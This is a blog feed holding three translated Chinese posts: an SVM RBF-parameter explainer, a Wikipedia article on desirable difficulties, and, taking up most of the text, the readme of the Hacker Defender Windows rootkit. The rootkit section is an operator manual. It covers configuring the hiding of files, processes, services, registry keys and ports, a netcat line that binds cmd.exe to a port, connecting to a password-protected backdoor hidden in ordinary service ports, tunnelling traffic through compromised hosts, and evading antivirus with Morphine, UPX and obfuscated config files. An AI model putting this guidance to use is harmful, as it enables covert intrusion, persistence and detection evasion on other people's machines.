翻译 – 若水斋 https://blog.werner.wiki Try harder Sat, 10 Nov 2018 11:06:06 +0000 zh-Hans hourly 1 https://wordpress.org/?v=6.8.3 https://blog.werner.wiki/wp-content/uploads/2018/11/cropped-ql1-1-32x32.jpg 翻译 – 若水斋 https://blog.werner.wiki 32 32 [译]SVM核函数RBF的参数 https://blog.werner.wiki/rbf-svm-parameters/ https://blog.werner.wiki/rbf-svm-parameters/#respond Tue, 17 Apr 2018 11:04:17 +0000 http://blog.werner.wiki/?p=414

本文翻译自《RBF SVM parameters》

本例将阐明径向基函数(RBF)做SVM的核函数时参数gamma和C的影响。

直观地,参数gamma定义了单个训练样本的影响大小,值越小影响越大,值越大影响越小。参数gamma可以看作被模型选中作为支持向量的样本的影响半径的倒数。

参数C在误分类样本和分界面简单性之间进行权衡。低的C值使分界面平滑,而高的C值通过增加模型自由度以选择更多支持向量来确保所有样本都被正确分类。

图1是只有两个输入特征和两个可能目标分类(二分类)的简单分类问题在取不同参数值时的决策函数的可视化。注意当有更多特征和目标分类时这种图便画不出来了。

图2是分类器交叉验证的正确率作为C和gamma的函数绘制出的热力图。在这个例子中出于演示目的,我们探索了一个相对较大的参数范围。在实践中,10-3到103的对数范围一般来说是足够的。如果最佳参数位于范围的边界,则可以向该方向扩展范围做进一步的搜索。

注意到热力图中有一个特殊的彩条,它的中间点的值接近于模型表现最好的得分,这是一眼就可以看到的。

模型的行为对于参数gamma十分敏感。如果参数gamma过大,支持向量的影响半径将小到只能影响到它自己,这时再怎么调整参数C也不能避免过拟合。

当参数gamma非常小时,模型会过于拘束不能捕捉到数据的复杂性或“形状”。任何选中的支持向量的影响区域将包含整个训练集。模型的结果将表现地像是用一组超平面分割两类或多类的高密度中心的线性模型。

至于中间值,我们在图2中可以看到,参数gamma和C的对角线上可以找到好的模型。平滑的模型(更小的gamma值)可以通过选择大量的支持向量(更大的C值)来获得更高的复杂度,于是好的模型便出现在了对角线上。

最后我们也观察到对一些gamma的中间值,当C取非常大的值时依旧可以得到表现良好的模型:没有必要通过限制支持向量的数量来实现正则化。RBF核的半径本身就是一个很好的结构调整器。在实践中仍可能会对通过一个较小的C值来限定支持向量的数目感兴趣,这样就可以使模型使用更少的内存,更快地做出预测。

我们还应该指出随机分割的交叉验证会导致结果得分有细微的不同。通过以计算时间为代价增加CV迭代次数n_splits,可以平滑这种细微的不同。在热力图中增加参数C和gamma的取值步长会降低热力图的分辨率。

]]>
https://blog.werner.wiki/rbf-svm-parameters/feed/ 0
[译]值得拥有的困难 https://blog.werner.wiki/desirable-difficulies/ https://blog.werner.wiki/desirable-difficulies/#respond Tue, 06 Feb 2018 10:56:22 +0000 http://blog.werner.wiki/?p=406

本文翻译自《维基百科·Desirable difficulty》。

值得拥有的困难是指一个学习任务需要大量但值得的努力从而提升长期表现。
这一术语最早由Robert A. Bjork于1994年提出。[1]
正如名称所示,值得拥有的困难既是值得的,又是困难的。
研究显示尽管困难的任务也许会减慢最初的学习,但长远收益要大于简单任务。[2]
然而,为了是值得的,任务必须是可完成的。

由于过于简单,许多任务给人学习的错觉。
例如,重读笔记或课本这一通用的学习方法就被证明比使用教学抽认卡更没有收益。[2]
当一个学生重新阅读笔记或课本时会感觉他或她在学习,但这部分是由于字词的熟悉程度超过了正在被处理和学习的资料。
与之相对地,教学抽认卡则要求学生实际上回忆起信息。
这是值得拥有的困难,因为它要求更多的努力和强制学生做更多复杂的处理。
一开始,有着值得拥有的困难的学习也许会花更长时间,学生也许觉得不那么自信,但随着时间的流逝,知识将会记忆得更牢固。[2]

必要条件

使用以下三条准则判断困难是否属于值得拥有的困难[2]

  1. 结束时的处理当与检索时的处理相同。
  2. 结束时的处理当与实践中的处理相同。
  3. 任务必须能够被完成。过于困难的任务也许会挫败学习者并阻碍整个处理。

研究和实例

研究者用各种学习方法进行了实验。
各方法中被证明为最有益的公共主题是它们给学习者带来的困难和挑战。[3]
对比传统的、更容易的学习方法,它们使得学习更慢。
传统的、容易的任务经常显现出临时表现的效果,对于更多永久的效果则是混乱的。[4]
这可能稍稍有些违反直觉,研究表明,从长远看,困难更有利于提升表现。
下面的训练任务都是值得拥有的困难的例子。

提取练习

亦称为测验效应(testing effect),提取练习使用测验作为训练方法。
将一些学习时间用于进行尝试回忆待学习信息的测试可提升表现。
实例之一是教学抽认卡,学生将根据卡片正面写的东西回答卡片背面写着什么。(例如单词写在前面而它的解释写在后面)。
为了达到最好的效果 ,反馈是关键;学习者应该接收到他们表现的反馈并得知正确答案。

延迟反馈

为了有所提升,学习者需要接收他们工作的反馈;反馈应当包含正确答案、 成绩等级和评论等。
反馈是必不可少的,一个令人惊讶的结果是延迟反馈的效果要好于及时反馈。
应该指出的是,这取决于延迟反馈得有保证。
任何形式的反馈总比没有反馈好。

间隙和交错

间隙效应(spacing effect)由重复学习组成,要求重复之间有间隔。
间隙效应由之间有延迟的重复学习组成。
当延迟由学习不同的任务或科目产生时这一方法被称为交错。
一个例子是直到期末考试,每周都复习前几周的笔记。
这将空出复习时间而不是死记硬背,还能增加长期记忆的信息总量。

组合技术

以正确的方式组合值得拥有的困难的技巧是有益的。
例如,3R(阅读(Read) / 背诵(Recite) / 复习(Review))技巧包括专心地阅读一篇课文,不看课文背诵课文,然后再复习课文。
在一次实验中,使用这一技巧的学生表现得比简单重复阅读课文的学生更好。[2]
这一方法利用了两种值得拥有的困难。
首先,回忆课文内容要比再次阅读付出多得多的努力。
其次,在复习阶段,学生主动地寻找反馈而不是另一种方法中被动的接受反馈。

实际意义

对学生

学生很轻易就可以将这些技巧应用到日常的学习习惯中以提升自己的记忆能力。
例如,不阅读资料而是用教学抽认卡做自我测试,这利用了测验效应。
间隙效应和交错可以通过学习多个科目实现,学习一个科目,稍作休息后在学习原科目前先学习另一个科目。
混合几个科目强制实现了交错,同时通过不同的间隔使学习产生间隔。

对老师

老师和教授可以通过在不同的家庭作业中包含过去主题的问题来利用间隔。
他们也可以利用每日一测的方式加强测验效应,这要求学生总是回忆信息。
延迟测试或小测验的反馈也是有益的,但也不要延迟太久,否则学生就不会再阅读反馈了。

目前大多数研究的一个问题是它在短时间内发生,如几个小时到几天;
然而,老师和教授更感兴趣的是确保他们所教的教材被长期记忆。
通过研究人们对高中时学习的西班牙语单词的回忆,Harry Bahrick能够展示出相当部分在人一生的特别的课堂上学习到的信息,这些信息被认为是永久存储的。[1][2]
Bahrick发现,间隙学习后的课程促进了西班牙语词汇量的长期记忆,同样,Landauer和Ainslie发现,测验效应在一年之后提高了信息的得分。[2]
几十年的长期效应仍然是未知的,正在研究中。

参考文献

  • [1] Bjork, R.A. (1994). “Institutional Impediments to Effective Training”. Learning, remembering, believing: Enhancing human performance.
  • [2] Marsh, E. J.; Butler, A. C. (2014). Memory in educational settings. Chapter in D. Reisberg (Ed.) Oxford Handbook of Cognitive Psychology. pp. 299–317.
  • [3] Bjork, R. A. (1994). Memory and metamemory considerations in the training of human beings. In J. Metcalfe and A. Shimamura (Eds.), Metacognition: Knowing about knowing. pp. 185–205.
  • [4] Bjork, Robert A.; Schmidt, Richard A. (1992). “New Conceptualizations of Practice: Common Principles in Three Paradigms Suggest New Concepts for Training”. American Psychological Society.
]]>
https://blog.werner.wiki/desirable-difficulies/feed/ 0
[译]Hacker defender中文使用说明 https://blog.werner.wiki/hacker-defender-chinese-readme/ https://blog.werner.wiki/hacker-defender-chinese-readme/#respond Fri, 29 Dec 2017 10:50:25 +0000 http://blog.werner.wiki/?p=399 0.目录
  • 1.基本信息
  • 2.简介
    • 2.1 原理
    • 2.2 许可
  • 3.用法
  • 4.配置文件
  • 5.后门
    • 5.1 重定向程序
  • 6.技术讨论
    • 6.1 版本
    • 6.2 被hook的API
    • 6.3 已知bug
  • 7.问答
  • 8.文件清单

1.基本信息

2.简介

Hacker defender(简称hxdef)是一个针对Windows NT 4.0、Windows 2000、Windows XP和Windows Server 2003的Rootkit,它也许也可以工作在最新的Windows NT系统上。(译者注:经测试,hxdef在WinXP Sp3上运行状况良好,而在Win7上运行状况不佳,无法隐藏文件夹,无法连接后门,有时也无法隐藏文件,其余功能未测试。毕竟Win7发布于2009年而hxdef写作于2005年。)
主代码是用Delphi开发的,新的功能是用汇编写的,驱动程序是用C语言开发的。支持程序(后门和
重定向程序客户端)主要用Delphi开发。

程序使用了改写过的的LDE32(32比特长度的反汇编引擎,Z0MBiE在1999至2000年间写的一个特制的恢复工具 ,版本号是1.05),还使用了Jacky Qwerty/29A在1998年写的速度超快、体积超小的加密库。

2.1 原理

本程序的主要原理是重写所有运行中的进程的一点内存段,重写导致进程行为改变的基础模块。重写必须不影响系统或正在运行的进程的稳定性。

程序对外必须绝对隐藏。现在用户可以隐藏文件、进程、系统服务、系统驱动、注册表键和值以及开放的端口,并能够伪造磁盘剩余空间。程序也会改变内存并隐藏隐藏进程的句柄。程序可安装隐藏后门、注册并隐藏系统服务并可安装隐藏系统驱动。后门技术允许植入重定向程序。

2.2 许可

本程序自1.0.0版本开放源代码,但同时存在具有高级特性的商业版。

当然本程序作者对你使用本程序所造成的后果概不负责。

3.用法

hxdef的用法十分简单:

>hxdef100.exe [inifile]

>hxdef100.exe [选项] 

当你不指定配置文件或是使用选项运行hxdef时,默认配置文件的后缀为.ini,文件名和可执行程序的文件名相同。例如运行“hxdef100.exe”,配置文件就是“hxdef100.ini”。

下面这些选项是有效的:

    -:installonly   -       仅安装服务,但不运行
    -:refresh       -       使用此参数从配置文件中更新设置
    -:noservice     -       不安装服务仅正常地运行
    -:uninstall     -       从内存中移除hxdef并杀死所有后门连接,同时停止hxdef服务

例子:

>hxdef100.exe -:refresh

hxdef自带了不用做任何修改就可以运行的配置文件。但极力推荐创建你自己的配置文件。关于配置文件的更多信息见 4.配置文件。

选项“-:refresh”和“-:uninstall”仅可从最初始的可执行文件调用。这意味着你必须知道hxdef的路径和名称,这样你才可以改变配置或卸载它。

4.配置文件

配置文件必须包含以下十个部分:

  • [Hidden Table]
  • [Hidden Processes]
  • [Root Processes]
  • [Hidden Services]
  • [Hidden RegKeys]
  • [Hidden RegValues]
  • [Startup Run]
  • [Free Space]
  • [Hidden Ports]
  • [Settings]

在[Hidden Table]、[Hidden Processes]、[Root Processes]、[Hidden Services]和[Hidden RegValues]中可以在字符串末尾使用“*”作为通配符。星号仅可用在字符串末尾,任何在第一个星号后的字符都将被忽略。
字符串首位的空格也都将被忽略。

如:

[Hidden Table]
hxdef*

将隐藏所有以“hxdef”开头的文件、目录和进程。

[Hidden Table]是将被隐藏的文件和目录的列表。这个列表中的文件和目录不会在文件管理器中出现。
确保主程序、配置文件、你的后门文件和驱动文件包含在这个列表中。

[Hidden Processes]是将被隐藏的进程的列表。该列表中的进程不会出现在系统的进程列表中。确保主程序和后门程序在这个列表中。

[Root Processes]列表中的程序不受影响,只有这些程序可查看隐藏文件、目录和程序。所以,这些程序也就是本Rootkit的管理者。值得一提的是某程序出现在该列表中不意味着会被隐藏,可能没有隐藏。反之亦然。

[Hidden Services]是将在已安装服务和驱动数据库中隐藏的服务和驱动名列表。本Rootkit主程序服务名默认是HackerDefender100,驱动名默认是HackerDefenderDrv100。这些在配置文件中都可以修改。

[Hidden RegKeys]是将会被隐藏的注册表键的列表。 本Rootkit在注册表中默认有四个键HackerDefender100、LEGACY_HACKERDEFENDER100、HackerDefenderDrv100和LEGACY_HACKERDEFENDERDRV100。如果你重命名了服务名或驱动名,你也应该修改这个列表。服务和驱动程序的前两个注册表键与名称相同。接下来的两个是LEGACY_NAME。例如你想将服务名改为BoomThisIsMySvc,对应地,注册表项应改为LEGACY_BOOMTHISISMYSVC。

[Hidden RegValues]是将会被隐藏的注册表值的列表。

[Startup Run]是本Rootkit运行后自动启动的程序的列表。这些程序有着和本Rootkit相同的权限。
程序名和参数用问号分割。不要使用“””。当用户登录后程序将会结束。在用户登录后启动程序可使用常见和众所周知的方法。你可以使用下列缩写:

  • %cmd% – 代表系统shell路径和可执行程序(如: C:\winnt\system32\cmd.exe)
  • %cmddir% – 代表系统shell可执行程序所在目录(如: C:\winnt\system32\)
  • %sysdir% – 代表系统目录(如: C:\winnt\system32\)
  • %windir% – 代表Windows目录(如: C:\winnt\)
  • %tmpdir% – 代表临时目录(如: C:\winnt\temp\)

例(1):

[Startup Run]
c:\sys\nc.exe?-L -p 100 -t -e cmd.exe

netcat在Rootkit启动后会自动运行并监听100端口。

例(2):

[Startup Run]
%cmd%?/c echo Rootkit started at %TIME%>> %tmpdir%starttime.txt

例(2)的效果是每当Rootkit启动就保存启动时间到“临时目录\starttime.txt”(如:C:\winnt\temp\starttime.txt)。(%TIME%仅在Windows 2000或更高的系统中有效)

[Free Space]是盘符和想要增加的空闲空间的字节数的列表。此列表中每项的格式是“X:NUM”,“X”是代表磁盘分区的字母,“NUM”是加在该分区上空闲空间的字节数。例如下例将给C盘添加大约123MB的空闲磁盘空间。

[Free Space]
C:123456789

[Hidden Ports]是要隐藏的端口的列表。它共有三行。第一行的格式是“TCPI:端口1,端口2,端口3,…”,第二行的格式是“TCPO:端口1,端口2,端口3,…”,第三行的格式是“UDP:端口1,端口2,端口3,…”。

例(1)将隐藏两个TCP入端口8080和456:

[Hidden Ports]
TCPI:8080,456
TCPO:
UDP:

例(2)将隐藏一个TCP出端口8001:

[Hidden Ports]
TCPI:
TCPO:8001
UDP:

例(3)将隐藏五个UDP端口:

[Hidden Ports]
TCPI:
TCPO:
UDP:53,54,55,56,800

[Settings]包含以下8个值:

  • 密码
  • 后门shell
  • 文件映射名
  • 服务名
  • 服务显示名
  • 服务描述
  • 驱动名
  • 驱动文件名

密码是一个16个字符的字符串,当使用后门或重定向程序时会用到它。密码可以更短些,将会用空格填充。
后门shell是后门程序将系统shell文件复制到临时目录中后的文件名。
文件映射名是为被存储的hook进程进行设置的共享内存的名字。
服务名是本Rootkit服务的名字。
服务显示名是本Rootkit服务显示的名字。
服务描述是本Rootkit服务的描述。
驱动名是hxdef的驱动的名字。
驱动文件名是hxdef的驱动文件的名字。

例如:

[Settings]
Password=hxdef-rulez
BackdoorShell=hxdef?.exe
FileMappingName=_.-=[Hacker Defender]=-._
ServiceName=HackerDefender100
ServiceDisplayName=HXD Service 100
ServiceDescription=powerful NT rootkit
DriverName=HackerDefenderDrv100
DriverFileName=hxdefdrv.sys

上述配置设置密码为“hxdef-rulez”;后门程序将复制系统shell文件(通常名为cmd.exe)到临时目录并命名为“hxdef?.exe”;共享内存将会被命名为“.-=[Hacker Defender]=-.”;服务将会被命名为“HackerDefender100”,它显示的名字是“HXD Service 100”,它的描述是“poweful NT rootkit”;
驱动被命名为“HackerDefenderDrv100”,驱动在文件中将会被叫做“hxdefdrv.sys”。

额外字符 |, <, >, :, \, / 和 ” 在所有行中都会被忽略,除了[Startup Run]、[Free Space]和[Hidden Ports]项以及[Settings]中第一个“=”号之后的值。使用额外字符可以让你的配置文件对杀毒系统免疫。

例如:

[H<<<idden T>>a/"ble]
>h"xdef"*

和下面的配置是等效的:

[Hidden Table]
hxdef*

从文件 hxdef100.ini 和 hxdef100.2.ini 中可以看到更多实例。(译者注:这两个文件是Hacker defender的默认配置文件)

除了[Settings]和[Startup Run]外,所有配置文件中的字符都不区分大小写。

5.后门

本Rootkit程序hook了一些从网络上接受数据的API函数。如果收到的数据长度等于256比特,密码和服务被验证,则将临时创建一个复制的shell,它的实例创建后下次接受到的数据将被重定向到这个shell。

因为Rootkit程序hook了系统中的所有进程,故而系统中所有服务的所有TCP端口都是后门。例如,如果目标为HTTP而开放了TCP的80端口,那么这个端口将会成为一个有效的后门。例外是系统进程打开的端口不会被hook。这种后门仅仅工作在服务器接收数据的缓冲区大于等于256比特时。但几乎所有标准服务如Apache、IIS和Oracle都满足这一条件。这种后门是隐蔽的因为它的数据包是在系统的公共服务上收发的。所以,使用经典的端口扫描器发现不了这种后门,而且这种后门很容易穿过防火墙。除此之外,后门还可以为FTP或HTTP协议提供典型代理。

在IIS服务器上的测试发现HTTP服务没有记录这种连接的任何日志,FTP和SMTP服务仅仅在最后记录了连接断开。所以,如果你运行hxdef的服务器上有IIS的Web服务,HTTP端口可能是这台机器上用于后门连接的最好端口。

如果你想连接后门,你必须使用特制的客户端。程序bdcli100.exe就是用来干这个的。

用法:bdcli100.exe 主机 端口 密码

如:

>bdcli100.exe www.windowsserver.com 80 hxdef-rulez

如果你之前获得了www.windowsserver.com的root权限并以默认密码留下hxdef,上述命令将会连接后门。

此版本(1.0.0)的客户端不兼容老版本的服务器端程序。

5.1 重定向程序

重定向程序基于后门技术。第一个连接包和后门连接一样。这意味着你可以使用和后门同样的端口。重定向程序接下来的数据包是特别的。这些数据包是运行在用户电脑上的重定向基程序生成的。重定向连接的第一个包定义了服务器和端口。

重定向基程序保存它的配置信息到名字和重定向基程序相同的.ini文件中(所以默认就是rdrbs100.ini)。若运行时该文件不存在则会自动创建。最好不要修改该文件,所有配置都可以在控制台设置。

如果我们想在安装了Rootkit的服务器上使用重定向程序,我们必须先在本地主机上运行重定向基程序。然后我们必须在重定向基程序的控制台创建指向运行hxdef的服务器的端口路由映射。最后我们可以在本地主机上连接选中的端口并传输数据,重定向数据是用Rootkit密码编码过的。在这个版本中重定向程序被决定不使用高速连接,连接速度被限制在大约256kBps。重定向程序也被运行Rootkit的系统限制。重定向程序仅使用TCP协议。

在这个版本中重定向基程序由19个命令控制,均不区分大小写。输入HELP命令可看到它们的功能描述。重定向基程序启动时会执行启动列表中的命令。启动列表中的命令是用以SU开头的命令编辑的。

重定向程序区别两种连接:HTTP和其他。若连接是其他类型的则数据包不做改变,若是HTTP类型的则改变HTTP头中Host参数为目标服务器。重定向基程序的最大值是1000。

重定向基程序只有在NT系统中才可以充分地工作。只有在NT系统中,程序有系统托盘图标且你可用HIDE命令隐藏控制台。只有在NT系统中,重定向基程序可以以没有输出的静默模式运行,没有图标,只执行启动列表中的命令。

例(1).获取映射端口信息:

    >MPINFO
    No mapped ports in the list.

例(2).将命令MPINFO添加到启动列表并查看启动列表中全部命令:

    >SUADD MPINFO
    >sulist
    0) MPINFO

例(3).使用HELP命令:

    >HELP
    Type HELP COMMAND for command details.
    Valid commands are:
    HELP, EXIT, CLS, SAVE, LIST, OPEN, CLOSE, HIDE, MPINFO, ADD, DEL, 
    DETAIL, SULIST, SUADD, SUDEL, SILENT, EDIT, SUEDIT, TEST
    >HELP ADD
    Create mapped port. You have to specify domain when using HTTP type.
    usage: ADD <LOCAL PORT> <MAPPING SERVER> <MAPPING SERVER PORT> <TARGET 
    SERVER> <TARGET SERVER PORT> <PASSWORD> [TYPE] [DOMAIN]
    >HELP EXIT
    Kill this application. Use DIS flag to discard unsaved data.
    usage: EXIT [DIS]

例(4).添加端口映射,我们想监听本地主机的TCP端口100,Rootkit被安装在服务器200.100.2.36,并打开了80端口,Rootkit的密码是“bIgpWd”,目标是www.google.com的80端口,连接类型是HTTP,目标服务器的IP地址——众所周知——是216.239.53.100:

    >ADD 100 200.100.2.36 80 216.239.53.100 80 bIgpWd HTTP www.google.com

命令ADD可不加任何参数运行,若是这样,每个参数会被分别询问。

例(5).用MPINFO命令检查端口映射:

    >MPINFO
    There are 1 mapped ports in the list. Currently 0 of them open.

例(6).枚举端口映射列表:

    >LIST
    000) :100:200.100.2.36:80:216.239.53.100:80:bIgpWd:HTTP

例(7).查看某个端口映射的详细描述:

    >DETAIL 0
    Listening on port: 100
    Mapping server address: 200.100.2.36
    Mapping server port: 80
    Target server address: 216.239.53.100
    Target server port: 80
    Password: bIgpWd
    Port type: HTTP
    Domain name for HTTP Host: www.google.com
    Current state: CLOSED

例(8).测试在映射服务器200.100.2.36时Rootkit是否没有使用密码就被安装(若我们已知相关信息则没有必要测试):

    >TEST 0
    Testing 0) 200.100.2.36:80:bIgpWd - OK

若失败它将返回:

    Testing 0) 200.100.2.36:80:bIgpWd - FAILED

例(9).若在我们使用之前端口仍然处于关闭状态,我们必须用OPEN命令打开它,当它是打开的时我们可以使用CLOSE命令关闭它。当我们想对列表中所有端口执行该命令时,可使用标志ALL。要求的动作执行后的当前状态在一段时间后写入:

    >OPEN 0
    Port number 0 opened.
    >CLOSE 0
    Port number 0 closed.

或:

    >OPEN ALL
    Port number 0 opened.

例(10). 使用SAVE命令可保存当前设置和列表到配置文件中(在执行没有DIS标志的命令EXIT后也会自动保存配置):

    >SAVE
    Saved successfully.

打开的端口都是我们传输数据所需要的。现在你可以打开你最喜欢的浏览器并输入“http://localhost:100/”。若没有问题,你应该能看到“www.google.com”被加载。

连接的第一个包可能有5秒的延迟,但其他的只是服务器端有速度限制。这个版本中你的重定向程序的网络连接限速是256kBps。

6.技术讨论

这节内容对普通用户来说很无趣。这节的读者应该是测试人员和开发人员。

6.1 版本

1.0.0 revisited
        +       compiler define for disabling NtOpenFile hook
        +       outbound TCP connection hiding
        +       separation between hidden files and processes - Hidden Processes
        +       hidden files in Prefetch are deleted during initialization
        +       disabling incompatible McAfee Buffer Overflow protection 
        x       found and fixed several bugs, source code cleanup        

1.0.0   +       open source

0.8.4   +       French readme
        +       hook of NtCreateFile to hide file operations
        +       hxdef mailslot name is dynamic
        +       switch -:uninstall for removing and updating hxdef
        +       -:refresh can be run from original .exe file only
        +       new readme - several corrections, more information, faq
        +       shortcuts for [Startup Run]
        +       free space cheating via NtQueryVolumeInformationFile hook
        +       open ports hiding via NtDeviceIoControlFile hook
        +       much more info in [Comments] in inifile
        +       supporting Ctrl+C in backdoor session
        +       FileMappingName is an option now
        +       Root Processes running on the system level
        +       handles hiding via NtQuerySystemInformation hook class 16
        +       using system driver
        +       antiantivirus inifile
        +       more stable on Windows boot and shutdown
        +       memory hiding improved
        -       found bug in backdoor client when pasting data from clipboard
        x       found and fixed bug in service name
        x       found and fixed increasing pid bug fixed via NtOpenProcess hook
        x       found and fixed bug in NtReadVirtualMemory hook
        x       found and fixed several small bugs
        x       found and fixed backdoor shell name bug fix

0.7.3   +       direct hooking method
        +       hiding files via NtQueryDirectoryFile hook
        +       hiding files in ntvdm via NtVdmControl hook
        +       new process hooking via NtResumeThread hook
        +       process infection via LdrInitializeThunk hook
        +       reg keys hiding via NtEnumerateKey hook
        +       reg values hiding via NtEnumerateValueKey hook
        +       dll infection via LdrLoadDll hook
        +       more settings in inifile
        +       safemode support
        +       masking memory change in processes via NtReadVirtualMemory hook
        x       fixed debugger bug
        x       fixed w2k MSTS bug
        x       found and fixed zzZ-service bug

0.5.1   +       never more hooking WSOCK 
        x       fixed bug with MSTS

0.5.0   +       low level redir based on backdoor technique
        +       password protection
        +       name of inifile depends on exefile name
        +       backdoor stability improved
        -       redirectors conection speed is limited about 256 kBps,
                imperfect implementation of redirector,
                imperfect design of redirector
        -       found chance to detect rootkit with symbolic link objects
        -       found bug in connection with MS Termnial Services
        -       found bug in hidding files in 16-bit applications
        x       found and fixed bug in services enumeration
        x       found and fixed bug in hooking servers

0.3.7   +       possibility to change settings during running
        +       wildcard in names of hidden files, process and services
        +       possibility to add programs to rootkit startup
        x       fixed bug in hidding services on Windows NT 4.0

0.3.3   +       stability realy improved
        x       fixed all bugs for Windows XP
        x       found and fixed bug in hiding in registry
        x       found and fixed bug in backdoor with more clients

0.3.0   +       connectivity, stability and functionality of backdoor improved 
        +       backdoor shell runs always on system level 
        +       backdoor shell is hidden 
        +       registry keys hiding
        x       found and fixed bug in root processes
        -       bug in XP after reboot

0.2.6   x       fixed bug in backdoor

0.2.5   +       fully interactive console
        +       backdoor identification key is now only 256 bits long
        +       improved backdoor installation
        -       bug in backdoor

0.2.1   +       always run as service

0.2.0   +       system service installation 
        +       hiding in database of installed services 
        +       hidden backdoor
        +       no more working with windows

0.1.1   +       hidden in tasklist
        +       usage - possibility to specify name of inifile
        x       found and then fixed bug in communication
        x       fixed bug in using advapi
        -       found bug with debuggers

0.1.0   +       infection of system services
        +       smaller, tidier, faster code, more stable program
        x       fixed bug in communication

0.0.8   +       hiding files
        +       infection of new processes
        -       can't infect system services
        -       bug in communication

6.2 被hook的API

被hooke的API函数列表:

  • Kernel32.ReadFile
  • Ntdll.NtQuerySystemInformation (class 5 a 16)
  • Ntdll.NtQueryDirectoryFile
  • Ntdll.NtVdmControl
  • Ntdll.NtResumeThread
  • Ntdll.NtEnumerateKey
  • Ntdll.NtEnumerateValueKey
  • Ntdll.NtReadVirtualMemory
  • Ntdll.NtQueryVolumeInformationFile
  • Ntdll.NtDeviceIoControlFile
  • Ntdll.NtLdrLoadDll
  • Ntdll.NtOpenProcess
  • Ntdll.NtCreateFile
  • Ntdll.NtOpenFile
  • Ntdll.NtLdrInitializeThunk
  • WS2_32.recv
  • WS2_32.WSARecv
  • Advapi32.EnumServiceGroupW
  • Advapi32.EnumServicesStatusExW
  • Advapi32.EnumServicesStatusExA
  • Advapi32.EnumServicesStatusA

6.3已知bug

这个版本有一个已知bug:

后门客户端在使用右键单击或使用控制菜单从粘贴板粘贴数据后可能会崩溃。如果运行程序的控制台支持,你可以使用Ctrl+Ins或Shift+Ins从粘贴板粘贴数据。

如果你认为你找到了一个bug请在rootkit@host.sk上的公告板报告它(若你是测试人员,请在测试板报告它)。但要确定你阅读过使用说明的问答章节、计划表和公告区,在你写之前你没有找到关于你想写的东西的任何信息。

7.问答

因为在公告板中有许多简单的问题,所以我意识到需要在使用说明中创建问答章节。在你问任何问题前阅读此使用说明两遍并特别仔细阅读本问答章节。然后阅读公告板中已有信息。做完这些之后你确定你仍然无法找到答案,再到公告板提问。

问题如下所示:

  1. 我下载并运行了hxdef,但我卸不掉它。我看不到它的进程、服务和文件,我该如何卸载它?
  2. 有人入侵我的电脑并安装了hxdef,我卸不掉它。我该如何卸载安装在我机器上的hxdef和所有后门?
  3. 这个程序能被杀毒软件检测到吗?如何能,有什么方法避免杀软检测吗?
  4. 我为何不能在目标系统已打开TCP端口135、137、138、139或445时连接后门?
  5. 有办法隐藏文件在磁盘上可见的进程吗?
  6. 如何隐藏svchost.exe以及其他我能在进程列表中看到的进程?
  7. 我正在使用DameWare,我可以看到所有服务以及其他应该被隐藏的东西。这是个bug吗?
  8. 但任何人通过NetBIOS都能看到我隐藏的文件,我该怎么做?
  9. 后门客户端不工作。所有事情看上去都是对的,但在连接之后我无法输入任何东西且整个控制屏幕都是黑的。我应该怎么办?
  10. 我何时能得到新版本?
  11. net.exe命令可以结束隐藏服务,这是个bug吗?
  12. 有什么办法检测这个Rootkit吗?
  13. 所以,检测hxdef有多难?有人写出做这事的程序了吗?
  14. 所以,我该如何检测它?
  15. 以0开头的版本号意味着不稳定版本吗?
  16. 你何时将公开源码?我听说1.0.0版本源码会公开,但什么时候呢?
  17. 我想成为测试员,我该做什么?
  18. 使用hxdef合法吗?
  19. 有可能在机器上升级老版本的hxdef吗?可以不重启吗?
  20. 有可能在机器上升级这一版本的hxdef为将来的新版吗?可以不重启吗?
  21. 使用“-:uninstall”还是使用“net”停止ServiceName更好?
  22. 我很喜欢这个程序。我可以小额赞助支持你的工作吗?
  23. 有可能隐藏“C:\temp”而不隐藏“C:\winnt\temp”吗?
  24. 我可以在配置文件中看到明文密码!这怎么可能呢?
  25. 如果我在[Hidden Processes]中隐藏了一个进程,该进程在监听一个端口,该端口是自动隐藏的呢还是要我在[Hidden Ports]中隐藏它?

答案如下:

(1)

问:我下载并运行了hxdef,但我卸不掉它。我看不到它的进程、服务和文件,我该如何卸载它?

答:若是默认设置你可运行如下shell命令停止服务:

    >net stop HackerDefender100

hxdef被实现为停止服务后会完全卸载。这和“-:uninstall”有相同的效果且你不用知道hxdef在哪里。

如果你在配置文件中修改了服务名,在输入上述命令时要输入相应的服务名:

    >net stop 服务名

若忘记了服务名,你可以从CD启动你的系统寻找hxdef配置文件并从中查看服务名,然后按上述方法停止它。

(2)

问:有人入侵我的电脑并安装了hxdef,我卸不掉它。我该如何卸载安装在我机器上的hxdef和所有后门?

答:仅有的100%解决问题的方法是重装系统。但如果你想卸载它你需要像上面问题(1)中那样找到配置文件。在从你的系统中通过配置文件卸载hxdef后你需要找到配置文件列表中的所有文件,验证和检测它们是否属于攻击者。

(3)

问:这个程序能被杀毒软件检测到吗?如何可以,有什么方法避免杀软检测吗?

答: 是的。不仅可执行文件会被检测,少数杀毒系统还会检测配置文件和驱动文件。第二个问题的回答是肯定的,很容易就可躲避检测。在hxdef主站点上可找到一个名为Morphine的工具。若你用Morphine对hxdef的可执行文件进行处理,你将得到一个新的可执行文件,该文件不会被通常的杀毒系统检测到。配置文件也被设计为防检测。你可以添加额外字符到配置文件中以防止被杀毒系统检测到,详情参见 4.配置文件。看看自带的配置文件,两个示例配置文件是等效的,但第一个使用了额外字符,所以它不会被通常的杀毒系统检测到。也许使用Morphine前最好先用一下UPX。UPX将减小hxdef可执行文件的大小,Morphine将提供反反病毒保护。查看Morphine的使用说明获得更多信息。

(4)

问:我为何不能在目标系统已打开TCP端口135、137、138、139或445时连接后门?

答:正如本使用说明章节 5.后门 中所提及的,后门需要接收缓冲区大于等于256比特。也许系统中端口没有用。如果难以找到可用的端口,你可简单地运行netcat在你自己的端口上监听。你应该添加netcat的端口到配置文件的[Hidden Ports]中。

(5)

问:有办法隐藏文件在磁盘上可见的进程吗?

答: 没有。同样地,你也没办法隐藏在进程中可见的磁盘文件。

(6)

问:如何隐藏svchost.exe以及其他我能在进程列表中看到的进程?

答:这真是个坏主意。如果你隐藏通用系统进程不久你的Windows系统就会崩溃。使用hxdef时你不需要把你的恶意文件命名为类似svchost.exe、lsass.exe这种。你可以以任意名称命名并添加它们至[Hidden Processes]以隐藏它们。

(7)

问:我正在使用DameWare,我可以看到所有服务以及其他应该被隐藏的东西。这是个bug吗?

答: 不是。由于该特性目前还没有实现,所以DameWare和远程用户以及netbios都可以看到隐藏的服务。bug和未实现的特性还是有很大区别的。从网站的计划列表中可以看到这是尚未实现的特性。

